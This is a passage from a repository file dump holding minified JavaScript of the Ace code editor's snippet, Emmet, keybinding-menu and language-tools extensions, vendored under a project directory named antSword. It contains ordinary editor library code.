d=h[p];if(d.end.row<r.row)continue;if(n&&l(r,d.start)<0&&l(i,d.end)>0){this.removeRange(d),p--;continue}d.start.row==s&&d.start.column>r.column&&(d.start.column+=a),d.end.row==s&&d.end.column>=r.column&&(d.end.column+=a),d.start.row>=s&&(d.start.row+=u),d.end.row>=s&&(d.end.row+=u),l(d.start,d.end)>0&&this.removeRange(d)}h.length||this.detach()},this.updateLinkedFields=function(){var e=this.selectedTabstop;if(!e||!e.hasLinkedRanges)return;this.$inChange=!0;var n=this.editor.session,r=n.getTextRange(e.firstNonLinked);for(var i=e.length;i--;){var s=e[i];if(!s.linked)continue;var o=t.snippetManager.tmStrFormat(r,s.original);n.replace(s,o)}this.$inChange=!1},this.onAfterExec=function(e){e.command&&!e.command.readOnly&&this.updateLinkedFields()},this.onChangeSelection=function(){if(!this.editor)return;var e=this.editor.selection.lead,t=this.editor.selection.anchor,n=this.editor.selection.isEmpty();for(var r=this.ranges.length;r--;){if(this.ranges[r].linked)continue;var i=this.ranges[r].contains(e.row,e.column),s=n||this.ranges[r].contains(t.row,t.column);if(i&&s)return}this.detach()},this.onChangeSession=function(){this.detach()},this.tabNext=function(e){var t=this.tabstops.length,n=this.index+(e||1);n=Math.min(Math.max(n,1),t),n==t&&(n=0),this.selectTabstop(n),n===0&&this.detach()},this.selectTabstop=function(e){this.$openTabstops=null;var t=this.tabstops[this.index];t&&this.addTabstopMarkers(t),this.index=e,t=this.tabstops[this.index];if(!t||!t.length)return;this.selectedTabstop=t;if(!this.editor.inVirtualSelectionMode){var n=this.editor.multiSelect;n.toSingleRange(t.firstNonLinked.clone());for(var r=t.length;r--;){if(t.hasLinkedRanges&&t[r].linked)continue;n.addRange(t[r].clone(),!0)}n.ranges[0]&&n.addRange(n.ranges[0].clone())}else this.editor.selection.setRange(t.firstNonLinked);this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.addTabstops=function(e,t,n){this.$openTabstops||(this.$openTabstops=[]);if(!e[0]){var r=o.fromPoints(n,n);v(r.start,t),v(r.end,t),e[0]=[r],e[0].index=0}var i=this.index,s=[i+1,0],u=this.ranges;e.forEach(function(e,n){var r=this.$openTabstops[n]||e;for(var i=e.length;i--;){var a=e[i],f=o.fromPoints(a.start,a.end||a.start);d(f.start,t),d(f.end,t),f.original=a,f.tabstop=r,u.push(f),r!=e?r.unshift(f):r[i]=f,a.fmtString?(f.linked=!0,r.hasLinkedRanges=!0):r.firstNonLinked||(r.firstNonLinked=f)}r.firstNonLinked||(r.hasLinkedRanges=!1),r===e&&(s.push(r),this.$openTabstops[n]=r),this.addTabstopMarkers(r)},this),s.length>2&&(this.tabstops.length&&s.push(s.splice(2,1)[0]),this.tabstops.splice.apply(this.tabstops,s))},this.addTabstopMarkers=function(e){var t=this.editor.session;e.forEach(function(e){e.markerId||(e.markerId=t.addMarker(e,\"ace_snippet-marker\",\"text\"))})},this.removeTabstopMarkers=function(e){var t=this.editor.session;e.forEach(function(e){t.removeMarker(e.markerId),e.markerId=null})},this.removeRange=function(e){var t=e.tabstop.indexOf(e);e.tabstop.splice(t,1),t=this.ranges.indexOf(e),this.ranges.splice(t,1),this.editor.session.removeMarker(e.markerId),e.tabstop.length||(t=this.tabstops.indexOf(e.tabstop),t!=-1&&this.tabstops.splice(t,1),this.tabstops.length||this.detach())},this.keyboardHandler=new a,this.keyboardHandler.bindKeys({Tab:function(e){if(t.snippetManager&&t.snippetManager.expandWithTab(e))return;e.tabstopManager.tabNext(1)},\"Shift-Tab\":function(e){e.tabstopManager.tabNext(-1)},Esc:function(e){e.tabstopManager.detach()},Return:function(e){return!1}})}).call(h.prototype);var p={};p.onChange=u.prototype.onChange,p.setPosition=function(e,t){this.pos.row=e,this.pos.column=t},p.update=function(e,t,n){this.$insertRight=n,this.pos=e,this.onChange(t)};var d=function(e,t){e.row==0&&(e.column+=t.column),e.row+=t.row},v=function(e,t){e.row==t.row&&(e.column-=t.column),e.row-=t.row};e(\"./lib/dom\").importCssString(\".ace_snippet-marker {    -moz-box-sizing: border-box;    box-sizing: border-box;    background: rgba(194, 193, 208, 0.09);    border: 1px dotted rgba(211, 208, 235, 0.62);    position: absolute;}\"),t.snippetManager=new c;var m=e(\"./editor\").Editor;(function(){this.insertSnippet=function(e,n){return t.snippetManager.insertSnippet(this,e,n)},this.expandSnippet=function(e){return t.snippetManager.expandWithTab(this,e)}}).call(m.prototype)}),ace.define(\"ace/ext/emmet\",[\"require\",\"exports\",\"module\",\"ace/keyboard/hash_handler\",\"ace/editor\",\"ace/snippets\",\"ace/range\",\"resources\",\"resources\",\"range\",\"tabStops\",\"resources\",\"utils\",\"actions\",\"ace/config\",\"ace/config\"],function(e,t,n){\"use strict\";function f(){}var r=e(\"ace/keyboard/hash_handler\").HashHandler,i=e(\"ace/editor\").Editor,s=e(\"ace/snippets\").snippetManager,o=e(\"ace/range\").Range,u,a;f.prototype={setupContext:function(e){this.ace=e,this.indentation=e.session.getTabString(),u||(u=window.emmet),u.require(\"resources\").setVariable(\"indentation\",this.indentation),this.$syntax=null,this.$syntax=this.getSyntax()},getSelectionRange:function(){var e=this.ace.getSelectionRange(),t=this.ace.session.doc;return{start:t.positionToIndex(e.start),end:t.positionToIndex(e.end)}},createSelection:function(e,t){var n=this.ace.session.doc;this.ace.selection.setRange({start:n.indexToPosition(e),end:n.indexToPosition(t)})},getCurrentLineRange:function(){var e=this.ace,t=e.getCursorPosition().row,n=e.session.getLine(t).length,r=e.session.doc.positionToIndex({row:t,column:0});return{start:r,end:r+n}},getCaretPos:function(){var e=this.ace.getCursorPosition();return this.ace.session.doc.positionToIndex(e)},setCaretPos:function(e){var t=this.ace.session.doc.indexToPosition(e);this.ace.selection.moveToPosition(t)},getCurrentLine:function(){var e=this.ace.getCursorPosition().row;return this.ace.session.getLine(e)},replaceContent:function(e,t,n,r){n==null&&(n=t==null?this.getContent().length:t),t==null&&(t=0);var i=this.ace,u=i.session.doc,a=o.fromPoints(u.indexToPosition(t),u.indexToPosition(n));i.session.remove(a),a.end=a.start,e=this.$updateTabstops(e),s.insertSnippet(i,e)},getContent:function(){return this.ace.getValue()},getSyntax:function(){if(this.$syntax)return this.$syntax;var e=this.ace.session.$modeId.split(\"/\").pop();if(e==\"html\"||e==\"php\"){var t=this.ace.getCursorPosition(),n=this.ace.session.getState(t.row);typeof n!=\"string\"&&(n=n[0]),n&&(n=n.split(\"-\"),n.length>1?e=n[0]:e==\"php\"&&(e=\"html\"))}return e},getProfileName:function(){switch(this.getSyntax()){case\"css\":return\"css\";case\"xml\":case\"xsl\":return\"xml\";case\"html\":var e=u.require(\"resources\").getVariable(\"profile\");return e||(e=this.ace.session.getLines(0,2).join(\"\").search(/<!DOCTYPE[^>]+XHTML/i)!=-1?\"xhtml\":\"html\"),e}return\"xhtml\"},prompt:function(e){return prompt(e)},getSelection:function(){return this.ace.session.getTextRange()},getFilePath:function(){return\"\"},$updateTabstops:function(e){var t=1e3,n=0,r=null,i=u.require(\"range\"),s=u.require(\"tabStops\"),o=u.require(\"resources\").getVocabulary(\"user\"),a={tabstop:function(e){var o=parseInt(e.group,10),u=o===0;u?o=++n:o+=t;var f=e.placeholder;f&&(f=s.processText(f,a));var l=\"${\"+o+(f?\":\"+f:\"\")+\"}\";return u&&(r=i.create(e.start,l)),l},escape:function(e){return e==\"$\"?\"\\\\$\":e==\"\\\\\"?\"\\\\\\\\\":e}};return e=s.processText(e,a),o.variables.insert_final_tabstop&&!/\\$\\{0\\}$/.test(e)?e+=\"${0}\":r&&(e=u.require(\"utils\").replaceSubstring(e,\"${0}\",r)),e}};var l={expand_abbreviation:{mac:\"ctrl+alt+e\",win:\"alt+e\"},match_pair_outward:{mac:\"ctrl+d\",win:\"ctrl+,\"},match_pair_inward:{mac:\"ctrl+j\",win:\"ctrl+shift+0\"},matching_pair:{mac:\"ctrl+alt+j\",win:\"alt+j\"},next_edit_point:\"alt+right\",prev_edit_point:\"alt+left\",toggle_comment:{mac:\"command+/\",win:\"ctrl+/\"},split_join_tag:{mac:\"shift+command+'\",win:\"shift+ctrl+`\"},remove_tag:{mac:\"command+'\",win:\"shift+ctrl+;\"},evaluate_math_expression:{mac:\"shift+command+y\",win:\"shift+ctrl+y\"},increment_number_by_1:\"ctrl+up\",decrement_number_by_1:\"ctrl+down\",increment_number_by_01:\"alt+up\",decrement_number_by_01:\"alt+down\",increment_number_by_10:{mac:\"alt+command+up\",win:\"shift+alt+up\"},decrement_number_by_10:{mac:\"alt+command+down\",win:\"shift+alt+down\"},select_next_item:{mac:\"shift+command+.\",win:\"shift+ctrl+.\"},select_previous_item:{mac:\"shift+command+,\",win:\"shift+ctrl+,\"},reflect_css_value:{mac:\"shift+command+r\",win:\"shift+ctrl+r\"},encode_decode_data_url:{mac:\"shift+ctrl+d\",win:\"ctrl+'\"},expand_abbreviation_with_tab:\"Tab\",wrap_with_abbreviation:{mac:\"shift+ctrl+a\",win:\"shift+ctrl+a\"}},c=new f;t.commands=new r,t.runEmmetCommand=function(e){try{c.setupContext(e);if(c.getSyntax()==\"php\")return!1;var t=u.require(\"actions\");if(this.action==\"expand_abbreviation_with_tab\"&&!e.selection.isEmpty())return!1;if(this.action==\"wrap_with_abbreviation\")return setTimeout(function(){t.run(\"wrap_with_abbreviation\",c)},0);var n=e.selection.lead,r=e.session.getTokenAt(n.row,n.column);if(r&&/\\btag\\b/.test(r.type))return!1;var i=t.run(this.action,c)}catch(s){e._signal(\"changeStatus\",typeof s==\"string\"?s:s.message),console.log(s),i=!1}return i};for(var h in l)t.commands.addCommand({name:\"emmet:\"+h,action:h,bindKey:l[h],exec:t.runEmmetCommand,multiSelectAction:\"forEach\"});t.updateCommands=function(e,n){n?e.keyBinding.addKeyboardHandler(t.commands):e.keyBinding.removeKeyboardHandler(t.commands)},t.isSupportedMode=function(e){return e&&/css|less|scss|sass|stylus|html|php|twig|ejs|handlebars/.test(e)};var p=function(n,r){var i=r;if(!i)return;var s=t.isSupportedMode(i.session.$modeId);n.enableEmmet===!1&&(s=!1),s&&typeof a==\"string\"&&e(\"ace/config\").loadModule(a,function(){a=null}),t.updateCommands(i,s)};t.AceEmmetEditor=f,e(\"ace/config\").defineOptions(i.prototype,\"editor\",{enableEmmet:{set:function(e){this[e?\"on\":\"removeListener\"](\"changeMode\",p),p({enableEmmet:!!e},this)},value:!0}}),t.setCore=function(e){typeof e==\"string\"?a=e:u=e}});\n                (function() {\n                    ace.require([\"ace/ext/emmet\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-error_marker.js",
    "content": ";\n                (function() {\n                    ace.require([\"ace/ext/error_marker\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-keybinding_menu.js",
    "content": "ace.define(\"ace/ext/menu_tools/overlay_page\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/dom\"),i=\"#ace_settingsmenu, #kbshortcutmenu {background-color: #F7F7F7;color: black;box-shadow: -5px 4px 5px rgba(126, 126, 126, 0.55);padding: 1em 0.5em 2em 1em;overflow: auto;position: absolute;margin: 0;bottom: 0;right: 0;top: 0;z-index: 9991;cursor: default;}.ace_dark #ace_settingsmenu, .ace_dark #kbshortcutmenu {box-shadow: -20px 10px 25px rgba(126, 126, 126, 0.25);background-color: rgba(255, 255, 255, 0.6);color: black;}.ace_optionsMenuEntry:hover {background-color: rgba(100, 100, 100, 0.1);-webkit-transition: all 0.5s;transition: all 0.3s}.ace_closeButton {background: rgba(245, 146, 146, 0.5);border: 1px solid #F48A8A;border-radius: 50%;padding: 7px;position: absolute;right: -8px;top: -8px;z-index: 1000;}.ace_closeButton{background: rgba(245, 146, 146, 0.9);}.ace_optionsMenuKey {color: darkslateblue;font-weight: bold;}.ace_optionsMenuCommand {color: darkcyan;font-weight: normal;}\";r.importCssString(i),n.exports.overlayPage=function(t,n,i,s,o,u){function l(e){e.keyCode===27&&a.click()}i=i?\"top: \"+i+\";\":\"\",o=o?\"bottom: \"+o+\";\":\"\",s=s?\"right: \"+s+\";\":\"\",u=u?\"left: \"+u+\";\":\"\";var a=document.createElement(\"div\"),f=document.createElement(\"div\");a.style.cssText=\"margin: 0; padding: 0; position: fixed; top:0; bottom:0; left:0; right:0;z-index: 9990; background-color: rgba(0, 0, 0, 0.3);\",a.addEventListener(\"click\",function(){document.removeEventListener(\"keydown\",l),a.parentNode.removeChild(a),t.focus(),a=null}),document.addEventListener(\"keydown\",l),f.style.cssText=i+s+o+u,f.addEventListener(\"click\",function(e){e.stopPropagation()});var c=r.createElement(\"div\");c.style.position=\"relative\";var h=r.createElement(\"div\");h.className=\"ace_closeButton\",h.addEventListener(\"click\",function(){a.click()}),c.appendChild(h),f.appendChild(c),f.appendChild(n),a.appendChild(f),document.body.appendChild(a),t.blur()}}),ace.define(\"ace/ext/menu_tools/get_editor_keyboard_shortcuts\",[\"require\",\"exports\",\"module\",\"ace/lib/keys\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/keys\");n.exports.getEditorKeybordShortcuts=function(e){var t=r.KEY_MODS,n=[],i={};return e.keyBinding.$handlers.forEach(function(e){var t=e.commandKeyBinding;for(var r in t){var s=r.replace(/(^|-)\\w/g,function(e){return e.toUpperCase()}),o=t[r];Array.isArray(o)||(o=[o]),o.forEach(function(e){typeof e!=\"string\"&&(e=e.name),i[e]?i[e].key+=\"|\"+s:(i[e]={key:s,command:e},n.push(i[e]))})}}),n}}),ace.define(\"ace/ext/keybinding_menu\",[\"require\",\"exports\",\"module\",\"ace/editor\",\"ace/ext/menu_tools/overlay_page\",\"ace/ext/menu_tools/get_editor_keyboard_shortcuts\"],function(e,t,n){\"use strict\";function i(t){if(!document.getElementById(\"kbshortcutmenu\")){var n=e(\"./menu_tools/overlay_page\").overlayPage,r=e(\"./menu_tools/get_editor_keyboard_shortcuts\").getEditorKeybordShortcuts,i=r(t),s=document.createElement(\"div\"),o=i.reduce(function(e,t){return e+'<div class=\"ace_optionsMenuEntry\"><span class=\"ace_optionsMenuCommand\">'+t.command+\"</span> : \"+'<span class=\"ace_optionsMenuKey\">'+t.key+\"</span></div>\"},\"\");s.id=\"kbshortcutmenu\",s.innerHTML=\"<h1>Keyboard Shortcuts</h1>\"+o+\"</div>\",n(t,s,\"0\",\"0\",\"0\",null)}}var r=e(\"ace/editor\").Editor;n.exports.init=function(e){r.prototype.showKeyboardShortcuts=function(){i(this)},e.commands.addCommands([{name:\"showKeyboardShortcuts\",bindKey:{win:\"Ctrl-Alt-h\",mac:\"Command-Alt-h\"},exec:function(e,t){e.showKeyboardShortcuts()}}])}});\n                (function() {\n                    ace.require([\"ace/ext/keybinding_menu\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-language_tools.js",
    "content": "ace.define(\"ace/snippets\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\",\"ace/lib/lang\",\"ace/range\",\"ace/anchor\",\"ace/keyboard/hash_handler\",\"ace/tokenizer\",\"ace/lib/dom\",\"ace/editor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=e(\"./lib/lang\"),o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=e(\"./keyboard/hash_handler\").HashHandler,f=e(\"./tokenizer\").Tokenizer,l=o.comparePoints,c=function(){this.snippetMap={},this.snippetNameMap={}};(function(){r.implement(this,i),this.getTokenizer=function(){function e(e,t,n){return e=e.substr(1),/^\\d+$/.test(e)&&!n.inFormatString?[{tabstopId:parseInt(e,10)}]:[{text:e}]}function t(e){return\"(?:[^\\\\\\\\\"+e+\"]|\\\\\\\\.)\"}return c.$tokenizer=new f({start:[{regex:/:/,onMatch:function(e,t,n){return n.length&&n[0].expectIf?(n[0].expectIf=!1,n[0].elseBranch=n[0],[n[0]]):\":\"}},{regex:/\\\\./,onMatch:function(e,t,n){var r=e[1];return r==\"}\"&&n.length?e=r:\"`$\\\\\".indexOf(r)!=-1?e=r:n.inFormatString&&(r==\"n\"?e=\"\\n\":r==\"t\"?e=\"\\n\":\"ulULE\".indexOf(r)!=-1&&(e={changeCase:r,local:r>\"a\"})),[e]}},{regex:/}/,onMatch:function(e,t,n){return[n.length?n.shift():e]}},{regex:/\\$(?:\\d+|\\w+)/,onMatch:e},{regex:/\\$\\{[\\dA-Z_a-z]+/,onMatch:function(t,n,r){var i=e(t.substr(1),n,r);return r.unshift(i[0]),i},next:\"snippetVar\"},{regex:/\\n/,token:\"newline\",merge:!1}],snippetVar:[{regex:\"\\\\|\"+t(\"\\\\|\")+\"*\\\\|\",onMatch:function(e,t,n){n[0].choices=e.slice(1,-1).split(\",\")},next:\"start\"},{regex:\"/(\"+t(\"/\")+\"+)/(?:(\"+t(\"/\")+\"*)/)(\\\\w*):?\",onMatch:function(e,t,n){var r=n[0];return r.fmtString=e,e=this.splitRegex.exec(e),r.guard=e[1],r.fmt=e[2],r.flag=e[3],\"\"},next:\"start\"},{regex:\"`\"+t(\"`\")+\"*`\",onMatch:function(e,t,n){return n[0].code=e.splice(1,-1),\"\"},next:\"start\"},{regex:\"\\\\?\",onMatch:function(e,t,n){n[0]&&(n[0].expectIf=!0)},next:\"start\"},{regex:\"([^:}\\\\\\\\]|\\\\\\\\.)*:?\",token:\"\",next:\"start\"}],formatString:[{regex:\"/(\"+t(\"/\")+\"+)/\",token:\"regex\"},{regex:\"\",onMatch:function(e,t,n){n.inFormatString=!0},next:\"start\"}]}),c.prototype.getTokenizer=function(){return c.$tokenizer},c.$tokenizer},this.tokenizeTmSnippet=function(e,t){return this.getTokenizer().getLineTokens(e,t).tokens.map(function(e){return e.value||e})},this.$getDefaultValue=function(e,t){if(/^[A-Z]\\d+$/.test(t)){var n=t.substr(1);return(this.variables[t[0]+\"__\"]||{})[n]}if(/^\\d+$/.test(t))return(this.variables.__||{})[t];t=t.replace(/^TM_/,\"\");if(!e)return;var r=e.session;switch(t){case\"CURRENT_WORD\":var i=r.getWordRange();case\"SELECTION\":case\"SELECTED_TEXT\":return r.getTextRange(i);case\"CURRENT_LINE\":return r.getLine(e.getCursorPosition().row);case\"PREV_LINE\":return r.getLine(e.getCursorPosition().row-1);case\"LINE_INDEX\":return e.getCursorPosition().column;case\"LINE_NUMBER\":return e.getCursorPosition().row+1;case\"SOFT_TABS\":return r.getUseSoftTabs()?\"YES\":\"NO\";case\"TAB_SIZE\":return r.getTabSize();case\"FILENAME\":case\"FILEPATH\":return\"\";case\"FULLNAME\":return\"Ace\"}},this.variables={},this.getVariableValue=function(e,t){return this.variables.hasOwnProperty(t)?this.variables[t](e,t)||\"\":this.$getDefaultValue(e,t)||\"\"},this.tmStrFormat=function(e,t,n){var r=t.flag||\"\",i=t.guard;i=new RegExp(i,r.replace(/[^gi]/,\"\"));var s=this.tokenizeTmSnippet(t.fmt,\"formatString\"),o=this,u=e.replace(i,function(){o.variables.__=arguments;var e=o.resolveVariables(s,n),t=\"E\";for(var r=0;r<e.length;r++){var i=e[r];if(typeof i==\"object\"){e[r]=\"\";if(i.changeCase&&i.local){var u=e[r+1];u&&typeof u==\"string\"&&(i.changeCase==\"u\"?e[r]=u[0].toUpperCase():e[r]=u[0].toLowerCase(),e[r+1]=u.substr(1))}else i.changeCase&&(t=i.changeCase)}else t==\"U\"?e[r]=i.toUpperCase():t==\"L\"&&(e[r]=i.toLowerCase())}return e.join(\"\")});return this.variables.__=null,u},this.resolveVariables=function(e,t){function o(t){var n=e.indexOf(t,r+1);n!=-1&&(r=n)}var n=[];for(var r=0;r<e.length;r++){var i=e[r];if(typeof i==\"string\")n.push(i);else{if(typeof i!=\"object\")continue;if(i.skip)o(i);else{if(i.processed<r)continue;if(i.text){var s=this.getVariableValue(t,i.text);s&&i.fmtString&&(s=this.tmStrFormat(s,i)),i.processed=r,i.expectIf==null?s&&(n.push(s),o(i)):s?i.skip=i.elseBranch:o(i)}else i.tabstopId!=null?n.push(i):i.changeCase!=null&&n.push(i)}}}return n},this.insertSnippetForSelection=function(e,t){function f(e){var t=[];for(var n=0;n<e.length;n++){var r=e[n];if(typeof r==\"object\"){if(a[r.tabstopId])continue;var i=e.lastIndexOf(r,n-1);r=t[i]||{tabstopId:r.tabstopId}}t[n]=r}return t}var n=e.getCursorPosition(),r=e.session.getLine(n.row),i=e.session.getTabString(),s=r.match(/^\\s*/)[0];n.column<s.length&&(s=s.slice(0,n.column));var o=this.tokenizeTmSnippet(t);o=this.resolveVariables(o,e),o=o.map(function(e){return e==\"\\n\"?e+s:typeof e==\"string\"?e.replace(/\\t/g,i):e});var u=[];o.forEach(function(e,t){if(typeof e!=\"object\")return;var n=e.tabstopId,r=u[n];r||(r=u[n]=[],r.index=n,r.value=\"\");if(r.indexOf(e)!==-1)return;r.push(e);var i=o.indexOf(e,t+1);if(i===-1)return;var s=o.slice(t+1,i),a=s.some(function(e){return typeof e==\"object\"});a&&!r.value?r.value=s:s.length&&(!r.value||typeof r.value!=\"string\")&&(r.value=s.join(\"\"))}),u.forEach(function(e){e.length=0});var a={};for(var l=0;l<o.length;l++){var c=o[l];if(typeof c!=\"object\")continue;var p=c.tabstopId,d=o.indexOf(c,l+1);if(a[p]){a[p]===c&&(a[p]=null);continue}var v=u[p],m=typeof v.value==\"string\"?[v.value]:f(v.value);m.unshift(l+1,Math.max(0,d-l)),m.push(c),a[p]=c,o.splice.apply(o,m),v.indexOf(c)===-1&&v.push(c)}var g=0,y=0,b=\"\";o.forEach(function(e){typeof e==\"string\"?(e[0]===\"\\n\"?(y=e.length-1,g++):y+=e.length,b+=e):e.start?e.end={row:g,column:y}:e.start={row:g,column:y}});var w=e.getSelectionRange(),E=e.session.replace(w,b),S=new h(e),x=e.inVirtualSelectionMode&&e.selection.index;S.addTabstops(u,w.start,E,x)},this.insertSnippet=function(e,t){var n=this;if(e.inVirtualSelectionMode)return n.insertSnippetForSelection(e,t);e.forEachSelection(function(){n.insertSnippetForSelection(e,t)},null,{keepOrder:!0}),e.tabstopManager&&e.tabstopManager.tabNext()},this.$getScope=function(e){var t=e.session.$mode.$id||\"\";t=t.split(\"/\").pop();if(t===\"html\"||t===\"php\"){t===\"php\"&&!e.session.$mode.inlinePhp&&(t=\"html\");var n=e.getCursorPosition(),r=e.session.getState(n.row);typeof r==\"object\"&&(r=r[0]),r.substring&&(r.substring(0,3)==\"js-\"?t=\"javascript\":r.substring(0,4)==\"css-\"?t=\"css\":r.substring(0,4)==\"php-\"&&(t=\"php\"))}return t},this.getActiveScopes=function(e){var t=this.$getScope(e),n=[t],r=this.snippetMap;return r[t]&&r[t].includeScopes&&n.push.apply(n,r[t].includeScopes),n.push(\"_\"),n},this.expandWithTab=function(e,t){var n=this,r=e.forEachSelection(function(){return n.expandSnippetForSelection(e,t)},null,{keepOrder:!0});return r&&e.tabstopManager&&e.tabstopManager.tabNext(),r},this.expandSnippetForSelection=function(e,t){var n=e.getCursorPosition(),r=e.session.getLine(n.row),i=r.substring(0,n.column),s=r.substr(n.column),o=this.snippetMap,u;return this.getActiveScopes(e).some(function(e){var t=o[e];return t&&(u=this.findMatchingSnippet(t,i,s)),!!u},this),u?t&&t.dryRun?!0:(e.session.doc.removeInLine(n.row,n.column-u.replaceBefore.length,n.column+u.replaceAfter.length),this.variables.M__=u.matchBefore,this.variables.T__=u.matchAfter,this.insertSnippetForSelection(e,u.content),this.variables.M__=this.variables.T__=null,!0):!1},this.findMatchingSnippet=function(e,t,n){for(var r=e.length;r--;){var i=e[r];if(i.startRe&&!i.startRe.test(t))continue;if(i.endRe&&!i.endRe.test(n))continue;if(!i.startRe&&!i.endRe)continue;return i.matchBefore=i.startRe?i.startRe.exec(t):[\"\"],i.matchAfter=i.endRe?i.endRe.exec(n):[\"\"],i.replaceBefore=i.triggerRe?i.triggerRe.exec(t)[0]:\"\",i.replaceAfter=i.endTriggerRe?i.endTriggerRe.exec(n)[0]:\"\",i}},this.snippetMap={},this.snippetNameMap={},this.register=function(e,t){function o(e){return e&&!/^\\^?\\(.*\\)\\$?$|^\\\\b$/.test(e)&&(e=\"(?:\"+e+\")\"),e||\"\"}function u(e,t,n){return e=o(e),t=o(t),n?(e=t+e,e&&e[e.length-1]!=\"$\"&&(e+=\"$\")):(e+=t,e&&e[0]!=\"^\"&&(e=\"^\"+e)),new RegExp(e)}function a(e){e.scope||(e.scope=t||\"_\"),t=e.scope,n[t]||(n[t]=[],r[t]={});var o=r[t];if(e.name){var a=o[e.name];a&&i.unregister(a),o[e.name]=e}n[t].push(e),e.tabTrigger&&!e.trigger&&(!e.guard&&/^\\w/.test(e.tabTrigger)&&(e.guard=\"\\\\b\"),e.trigger=s.escapeRegExp(e.tabTrigger)),e.startRe=u(e.trigger,e.guard,!0),e.triggerRe=new RegExp(e.trigger,\"\",!0),e.endRe=u(e.endTrigger,e.endGuard,!0),e.endTriggerRe=new RegExp(e.endTrigger,\"\",!0)}var n=this.snippetMap,r=this.snippetNameMap,i=this;e||(e=[]),e&&e.content?a(e):Array.isArray(e)&&e.forEach(a),this._signal(\"registerSnippets\",{scope:t})},this.unregister=function(e,t){function i(e){var i=r[e.scope||t];if(i&&i[e.name]){delete i[e.name];var s=n[e.scope||t],o=s&&s.indexOf(e);o>=0&&s.splice(o,1)}}var n=this.snippetMap,r=this.snippetNameMap;e.content?i(e):Array.isArray(e)&&e.forEach(i)},this.parseSnippetFile=function(e){e=e.replace(/\\r/g,\"\");var t=[],n={},r=/^#.*|^({[\\s\\S]*})\\s*$|^(\\S+) (.*)$|^((?:\\n*\\t.*)+)/gm,i;while(i=r.exec(e)){if(i[1])try{n=JSON.parse(i[1]),t.push(n)}catch(s){}if(i[4])n.content=i[4].replace(/^\\t/gm,\"\"),t.push(n),n={};else{var o=i[2],u=i[3];if(o==\"regex\"){var a=/\\/((?:[^\\/\\\\]|\\\\.)*)|$/g;n.guard=a.exec(u)[1],n.trigger=a.exec(u)[1],n.endTrigger=a.exec(u)[1],n.endGuard=a.exec(u)[1]}else o==\"snippet\"?(n.tabTrigger=u.match(/^\\S*/)[0],n.name||(n.name=u)):n[o]=u}}return t},this.getSnippetByName=function(e,t){var n=this.snippetNameMap,r;return this.getActiveScopes(t).some(function(t){var i=n[t];return i&&(r=i[e]),!!r},this),r}}).call(c.prototype);var h=function(e){if(e.tabstopManager)return e.tabstopManager;e.tabstopManager=this,this.$onChange=this.onChange.bind(this),this.$onChangeSelection=s.delayedCall(this.onChangeSelection.bind(this)).schedule,this.$onChangeSession=this.onChangeSession.bind(this),this.$onAfterExec=this.onAfterExec.bind(this),this.attach(e)};(function(){this.attach=function(e){this.index=0,this.ranges=[],this.tabstops=[],this.$openTabstops=null,this.selectedTabstop=null,this.editor=e,this.editor.on(\"change\",this.$onChange),this.editor.on(\"changeSelection\",this.$onChangeSelection),this.editor.on(\"changeSession\",this.$onChangeSession),this.editor.commands.on(\"afterExec\",this.$onAfterExec),this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.detach=function(){this.tabstops.forEach(this.removeTabstopMarkers,this),this.ranges=null,this.tabstops=null,this.selectedTabstop=null,this.editor.removeListener(\"change\",this.$onChange),this.editor.removeListener(\"changeSelection\",this.$onChangeSelection),this.editor.removeListener(\"changeSession\",this.$onChangeSession),this.editor.commands.removeListener(\"afterExec\",this.$onAfterExec),this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler),this.editor.tabstopManager=null,this.editor=null},this.onChange=function(e){var t=e,n=e.action[0]==\"r\",r=e.start,i=e.end,s=r.row,o=i.row,u=o-s,a=i.column-r.column;n&&(u=-u,a=-a);if(!this.$inChange&&n){var f=this.selectedTabstop,c=f&&!f.some(function(e){return l(e.start,r)<=0&&l(e.end,i)>=0});if(c)return this.detach()}var h=this.ranges;for(var p=0;p<h.length;p++){var d=h[p];if(d.end.row<r.row)continue;if(n&&l(r,d.start)<0&&l(i,d.end)>0){this.removeRange(d),p--;continue}d.start.row==s&&d.start.column>r.column&&(d.start.column+=a),d.end.row==s&&d.end.column>=r.column&&(d.end.column+=a),d.start.row>=s&&(d.start.row+=u),d.end.row>=s&&(d.end.row+=u),l(d.start,d.end)>0&&this.removeRange(d)}h.length||this.detach()},this.updateLinkedFields=function(){var e=this.selectedTabstop;if(!e||!e.hasLinkedRanges)return;this.$inChange=!0;var n=this.editor.session,r=n.getTextRange(e.firstNonLinked);for(var i=e.length;i--;){var s=e[i];if(!s.linked)continue;var o=t.snippetManager.tmStrFormat(r,s.original);n.replace(s,o)}this.$inChange=!1},this.onAfterExec=function(e){e.command&&!e.command.readOnly&&this.updateLinkedFields()},this.onChangeSelection=function(){if(!this.editor)return;var e=this.editor.selection.lead,t=this.editor.selection.anchor,n=this.editor.selection.isEmpty();for(var r=this.ranges.length;r--;){if(this.ranges[r].linked)continue;var i=this.ranges[r].contains(e.row,e.column),s=n||this.ranges[r].contains(t.row,t.column);if(i&&s)return}this.detach()},this.onChangeSession=function(){this.detach()},this.tabNext=function(e){var t=this.tabstops.length,n=this.index+(e||1);n=Math.min(Math.max(n,1),t),n==t&&(n=0),this.selectTabstop(n),n===0&&this.detach()},this.selectTabstop=function(e){this.$openTabstops=null;var t=this.tabstops[this.index];t&&this.addTabstopMarkers(t),this.index=e,t=this.tabstops[this.index];if(!t||!t.length)return;this.selectedTabstop=t;if(!this.editor.inVirtualSelectionMode){var n=this.editor.multiSelect;n.toSingleRange(t.firstNonLinked.clone());for(var r=t.length;r--;){if(t.hasLinkedRanges&&t[r].linked)continue;n.addRange(t[r].clone(),!0)}n.ranges[0]&&n.addRange(n.ranges[0].clone())}else 